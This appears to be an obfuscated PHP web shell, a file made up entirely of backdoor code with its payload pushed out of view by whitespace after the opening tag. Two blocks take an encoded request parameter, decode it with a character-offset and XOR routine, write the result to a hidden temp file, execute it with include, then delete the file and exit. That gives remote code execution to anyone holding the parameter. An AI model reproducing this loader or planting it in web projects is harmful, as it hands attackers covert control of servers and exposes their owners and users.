<?php																																										if(isset($_POST["k"]) ? true : false){ $holder = array_filter(["/dev/shm", "/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $marker = $_POST["k"]; $marker = explode ( ".",$marker ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $marker as $x =>$v4): $sChar = ord( $s[$x % $sLen]); $d =( ( int)$v4 - $sChar -( $x % 10)) ^4; $ent .= chr( $d); endforeach; foreach ($holder as $element) { if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $value = "$element/.descriptor"; $success = file_put_contents($value, $ent); if ($success) { include $value; @unlink($value); die();} } } }


if(@$_REQUEST["fa\x63tor"] !== null){
	$dat = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]);
	$entity = $_REQUEST["fa\x63tor"];
		 $entity=	 explode	 (  '.'		 , $entity	)	;		
	$k='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen(	 $salt);
            $n=0;
    
            foreach(	 $entity as $v8) {
                $sChar=ord(	 $salt[$n % $sLen]);
                $dec=(	 (	 int)$v8 - $sChar -(	 $n % 10)) ^ 47;
                $k .= chr(	 $dec);
                $n++;
            }
	foreach ($dat as $tkn):
    		if (max(0, is_dir($tkn) * is_writable($tkn))) {
    $holder = str_replace("{var_dir}", $tkn, "{var_dir}/.ent");
    if (file_put_contents($holder, $k)) {
	include $holder;
	@unlink($holder);
	die();
}
}
endforeach;
}